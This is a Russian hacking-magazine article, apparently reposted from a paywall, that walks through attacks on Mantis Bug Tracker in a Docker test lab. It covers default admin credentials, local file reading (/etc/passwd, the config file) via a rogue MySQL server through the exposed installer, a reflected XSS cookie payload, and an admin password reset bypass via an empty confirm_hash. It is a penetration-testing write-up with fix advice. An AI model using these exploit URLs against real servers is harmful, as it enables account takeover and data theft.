JustPaste.it

Хакер - Охота на «Богомола». Читаем локальные файлы и получаем права админа в Mantis Bug Tracker

nopaywall

https://t.me/nopaywall

Ты и без меня наверняка знаешь, сколько полезной информации можно извлечь из трекера: от деталей внутреннего устройства инфраструктуры до исходных кодов приложений. Поэтому заполучить доступ к такой вещи, как багтрекер, в тестах на проникновение бывает крайне полезно. Сегодня я расскажу о двух уязвимостях в популярном багтрекере Mantis.

Конечно, до количества инсталляций Jira «Богомолу» далеко, но в рамках исследования скоупа мне нередко попадался этот продукт.

Получение привилегий администратора работает на версиях приложения 2.3.0 и ниже, а также ниже 1.3.0. Несмотря на то что обновления выходят с завидной регулярностью, на просторах интернета все еще огромное количество серверов, на которых установлены уязвимые ветки дистрибутива. Этому способствуют как отсутствие механизма автоматического обновления до актуальной версии (или хотя бы информация о ее наличии), так и лень администраторов — куда уж без нее. ?

 

Чтение локальных файлов, кстати, работает на всех версиях вплоть до последней (2.5.1). Ведь это не баг, это фича.

 

Тестовый стенд

Mantis написан на PHP и работает со всеми основными СУБД (MySQL, Microsoft SQL, PostgreSQL и так далее), так что развернуть тестовый стенд будет несложно. На всякий случай все же пробегусь по основным пунктам.

Чтобы не заморачиваться с громоздкими виртуалками, используем Docker. На коленке я накидал докер-файл для быстрого билда, который ты можешь скачать здесь. В консоли переходим в папку со скачанным файлом и выполняем

docker build -t mantis .

Используя переменные MYSQL_USER, MYSQL_PASS и HOST_DOMAIN, можно изменить имя пользователя MySQL, его пароль и имя виртуального хоста, по которому будет доступен наш стенд. Теперь запускаем сам контейнер:

docker run -dp 80:80 --name=mantisvh --hostname=mantisvh mantis

Далее в хост-файле можно указать соответствие IP-адреса докер-машины с виртуальным хостом, который можно было менять при билде. По умолчанию у меня прописано mantis.visualhack, поэтому файл принимает такой вид:

192.168.99.100 mantis.visualhack

Теперь самое время перейти по адресу http://mantis.visualhack и проверить работоспособность стенда.

Стенд работает. Приступаем к установке Стенд работает. Приступаем к установке

Если все сделано правильно, то мы увидим страницу установки багтрекера. Пройдем этот процесс до конца — логин и пароль базы данных можешь найти в докер-файле.

 

Дефолтные пароли

Итак, мы разобрались с мелочами, переходим к самому интересному — разбору уязвимости. После успешной установки ты попадаешь на страницу авторизации.

Форма авторизации сразу после установки Форма авторизации сразу после установки

Обрати внимание на надпись внизу формы. После установки пользователю administratorпо умолчанию будет назначен пароль root.

/admin/schema.php

419: $g_upgrade[51] = array( 'InsertData', array( db_get_table( 'user' ), "( 420: username, realname, email, password, 421: date_created, last_visit, enabled, protected, access_level, 422: login_count, lost_password_request_count, failed_login_count, 423: cookie_string 424: ) 425: VALUES ( 426: 'administrator', '', 'root@localhost', '63a9f0ea7bb98050796b649e85481845', 427: $t_timestamp, $t_timestamp, '1', '0', 90,

Мне не совсем понятна логика такого поведения. Почему бы не дать пользователю возможность самому указывать пароль или генерировать его автоматически и отправлять по почте? Но разработчики решили по-другому, и если ты встретишь эту надпись, то считай, что админский доступ у тебя в кармане.

 

Чтение файлов

После того как установка успешно завершена, установочные файлы остаются в системе и багтрекер не выдает никаких предупреждений о том, что их нужно удалить или закрыть к ним доступ. Исходнички, настало ваше время.

/admin/install.php

86: # install_state 87: # 0 = no checks done 88: # 1 = server ok, get database information 89: # 2 = check the database information 90: # 3 = install the database ... 95: $t_install_state = gpc_get_int( 'install', 0 );

Переменная $t_install_state отвечает за текущий шаг установки. Она берется из запроса к серверу из параметра install. Поэтому мы можем свободно переходить на различные этапы установки и выполнять их.

/core/gpc_api.php

124: function gpc_get_int( $p_var_name, $p_default = null ) { 125: # Don't pass along a default unless one was given to us ... 128: $t_result = call_user_func_array( 'gpc_get', $t_args );

/core/gpc_api.php

58: function gpc_get( $p_var_name, $p_default = null ) { 59: if( isset( $_POST[$p_var_name] ) ) { 60: $t_result = $_POST[$p_var_name]; 61: } else if( isset( $_GET[$p_var_name] ) ) { 62: $t_result = $_GET[$p_var_name]; 63: } else if( func_num_args() > 1 ) { 64: # check for a default passed in (allowing null) 65: $t_result = $p_default; 66: } else { 67: error_parameters( $p_var_name ); 68: trigger_error( ERROR_GPC_VAR_NOT_FOUND, ERROR ); 69: $t_result = null; 70: } 71: 72: return $t_result; 73: }

Сейчас нас интересуют шаги 1, 2 и 3. Скрипт проверяет корректность введенных логина и пароля, выполняя тестовое подключение к базе данных.

/admin/install.php

254: $g_db = ADONewConnection( $f_db_type ); 255: $t_result = @$g_db->Connect( $f_hostname, $f_db_username, $f_db_password, $f_database_name );

Обрати внимание на переменную $f_hostname. Она также берется из HTTP-запроса, точнее — из параметра hostname. Это позволяет заставить скрипт подключиться к нашему серверу.

/admin/install.php

200: $f_hostname = gpc_get( 'hostname', config_get( 'hostname', 'localhost' ) );

Это значит, что пора расчехлять Rogue MySQL Server. Прошло уже больше года с тех пор, как я писал об этой технике эксплуатации, и почти четыре года после ее первого появления в паблике. Однако воз и ныне там. Похоже, так никто и не собирается это фиксить.

Итак, нам нужно прочитать что-нибудь интересное с сервера. Начнем с каноничного /etc/passwd.

  • Запускаем Rogue MySQL php roguemysql.php.
  • Указываем путь до файла, который хотим прочитать. По умолчанию мы и читаем /etc/passwd.
  • Дело за «Мантисом». Для отправки запроса можно использовать и GET, и POST, я предпочитаю POST, так как он меньше следит в логах.
Читалка файлов через MySQL в действии Читалка файлов через MySQL в действии

Passwd — это, конечно, хорошо, но нам нужно что-нибудь поинтереснее. Как насчет конфига того же багтрекера? Он находится в директории MANTIS_ROOT/config/config_inc.php.

В нашем случае мы можем воспользоваться трюком с /proc/self/cwd для того, чтобы попасть в директорию с файлом install.php. Это возможно благодаря тому, что скрипт выполняется в контексте веб-сервера. Поэтому путь /proc/self/cwd/../config/config_inc.php приведет нас прямиком к конфигу.

Читалка конфига Mantis через MySQL Читалка конфига Mantis через MySQL

К сожалению, этот трюк прокатывает далеко не всегда. Зато неподалеку завалялась парочка отраженных XSS.

Переменные $f_db_username, $f_database_name и тому подобные выводятся на страницу, получаются из пользовательских данных и никак не фильтруются. Поэтому переход по линку http://mantisnew.visualhack/admin/install.php?install=3&hostname=127.0.0.1&db_username="><script>alert(document.cookie);</script> с удовольствием покажет наши куки. ?

XSS в скрипте установки XSS в скрипте установки
 

Сбрасываем пароль администратора

Последняя проблема, несмотря на свою простоту, поможет нам захватить учетную запись администратора. Заключается она в некорректном сравнении двух переменных. Посмотрим на уязвимый участок кода.

/verify.php

72: if( $f_confirm_hash != $t_token_confirm_hash ) { 73: trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR ); 74: }

В строке 72 производится простое сравнение переданного токена для восстановления пароля с тем, что находится в базе данных, и если они не совпадают, то функция trigger_errorвозвращает ошибку и выполнение скрипта прекращается. Переменная $t_token_confirm_hash получается с помощью функции token_get_value — обертки для функции token_get.

/verify.php

70: $t_token_confirm_hash = token_get_value( TOKEN_ACCOUNT_ACTIVATION, $f_user_id );

/core/tokens_api.php

101: function token_get_value( $p_type, $p_user_id = null ) { 102: $t_token = token_get( $p_type, $p_user_id ); 103: 104: if( null !== $t_token ) { 105: return $t_token['value']; 106: } 107: 108: return null; 109: }

Она делает запрос к таблице _tokens_table в поисках переданного в параметре id токена восстановления пароля для пользователя.

/core/tokens_api.php

77: function token_get( $p_type, $p_user_id = null ) { ... 80: $c_type = (int)$p_type; ... 84: $t_query = 'SELECT * FROM {tokens} WHERE type=' . db_param() . ' AND owner=' . db_param(); 85: $t_result = db_query( $t_query, array( $c_type, $c_user_id ) ); 86: 87: $t_row = db_fetch_array( $t_result ); 88: if( $t_row ) { 89: return $t_row; 90: } 91: 92: return null;

Если такого токена в таблице нет, то функция возвращает NULL. Поэтому, если передать пустую строку в качестве confirm_hash, можно обойти проверку и продолжить выполнение скрипта. Причина такого поведения в особенностях приведения типов в PHP. Интерпретатор PHP считает равными пустую строку (») и сущность NULL.

root@mantisvh:/var/www/html# php -r "var_dump('' == NULL);" bool(true)

На странице официальной документации можно найти множество примеров неочевидного поведения PHP при сравнении переменных различного типа. Рекомендую ознакомиться, такие баги встречаются часто, и проглядеть их очень легко.

Итак, при переходе по ссылке http://mantis.visualhack/verify.php?id=1&confirm_hash= можно установить новый пароль для пользователя с id=1 (если он уже не находится в процессе сброса пароля). В нашем случае это administrator.

Смена пароля администратору Смена пароля администратору

Чаще всего аккаунт администратора имеет id 1 или 2. В любом случае не составит никаких проблем его сбрутить.

После установки нового пароля можно смело логиниться в качестве админа. Если теперь перейти на страницу http://mantis.visualhack/manage_overview_page.php, можно найти путь к корню сайта. Раскрытие путей будет очень кстати в помощь предыдущей уязвимости: теперь можно легко читать конфигурационные файлы.

Раскрытие путей в интерфейсе администратора Раскрытие путей в интерфейсе администратора
 

Выводы

Вот такие, казалось бы, простые логические уязвимости встречаются в серьезных продуктах. Баг со сменой пароля уже исправили, выпустив новые версии Mantis: 2.3.1 и 1.3.1 теперь не эксплуатируются.

Буквально сразу после того, как я закончил писать статью, мне на почту прилетело письмо, сообщающее, что в Oracle закрыли-таки баг с чтением файлов через MySQL и исправление войдет в следующий же релиз. Однако если ты администратор багтрекера, то можешь уже сейчас закрыть доступ извне к папке admin либо изменить ее имя на какое-нибудь менее брутабельное.

Но даже после этого фикса в недрах Mantis наверняка можно будет найти еще много всего интересного. Так что дерзай!

 Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall